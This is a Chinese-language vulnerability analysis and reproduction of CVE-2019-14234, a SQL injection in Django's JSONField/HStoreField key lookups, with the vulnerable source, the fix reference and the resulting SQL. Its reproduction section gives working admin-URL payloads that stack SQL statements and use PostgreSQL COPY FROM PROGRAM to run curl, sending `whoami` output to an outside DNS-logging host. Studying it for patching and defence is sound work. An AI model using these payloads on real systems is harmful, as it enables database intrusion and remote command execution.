Django JSON SQL注入(CVE-2019-14234)

前言

8月1号,Django官方发布了多个漏洞,其中包括一个sql注入的漏洞

环境

https://github.com/Lou00/cve/tree/master/cve-2019-14234

修复

https://github.com/django/django/commit/7deeabc7c7526786df6894429ce89a9c4b614086

可以看到把'%s'改成了%%s目测是单引号注入

分析

先来看一下两个漏洞点

1
2
3
4
5
6
7
8
9
10
class KeyTransform(Transform):
output_field = TextField()

def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name

def as_sql(self, compiler, connection):
lhs, params = compiler.compile(self.lhs)
return "(%s -> '%s')" % (lhs, self.key_name), params
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'

def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name

def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous = self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name)
except ValueError:
lookup = "'%s'" % self.key_name
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params

这两个都会被一个叫KeyTransformFactory类调用

1
2
3
4
5
6
7
class KeyTransformFactory:

def __init__(self, key_name):
self.key_name = key_name

def __call__(self, *args, **kwargs):
return KeyTransform(self.key_name, *args, **kwargs)

接着跟进,会被JSONFieldHStoreFieldget_transform方法调用

1
2
3
4
5
def get_transform(self, name):
transform = super().get_transform(name)
if transform:
return transform
return KeyTransformFactory(name)

官方给出的具体原因

1
2
3
4
5
6
7
8
CVE-2019-14234: SQL injection possibility in key and index lookups for ``JSONField``/``HStoreField``
====================================================================================================

:lookup:`Key and index lookups <jsonfield.key>` for
:class:`~django.contrib.postgres.fields.JSONField` and :lookup:`key lookups
<hstorefield.key>` for :class:`~django.contrib.postgres.fields.HStoreField`
were subject to SQL injection, using a suitably crafted dictionary, with
dictionary expansion, as the ``**kwargs`` passed to ``QuerySet.filter()``.

在给出的环境下运行
下列两种写法都可以查询json字段

该语句最后转成的sql语句为
select * from cve_2019_14234_json where (data->'id' ? '1');

但是如果在**{}里使用xx=xx然后将语句补齐就可以进行sql注入

该语句最后转成的sql语句为
select * from cve_2019_14234_json where (data->'id' ? '0') or 1=1 or (data->''?'x');

复现

在后台页面有其注入点可以导致RCE

1
http://127.0.0.1:8000/admin/cve_2019_14234/json/?data__id%27%3f%27a%27) OR 1%3d2 %3bCREATE table cmd_exec(cmd_output text) %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data

可以看到表已经创好了

1
http://127.0.0.1:8000/admin/cve_2019_14234/json/?data__id%27%3f%27a%27) OR 1%3d2 %3bCOPY cmd_exec FROM PROGRAM %27curl `whoami`.psql.127.0.0.1.8000.xxxx.ceye.io%27 %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data

参考

https://xz.aliyun.com/t/5896
https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html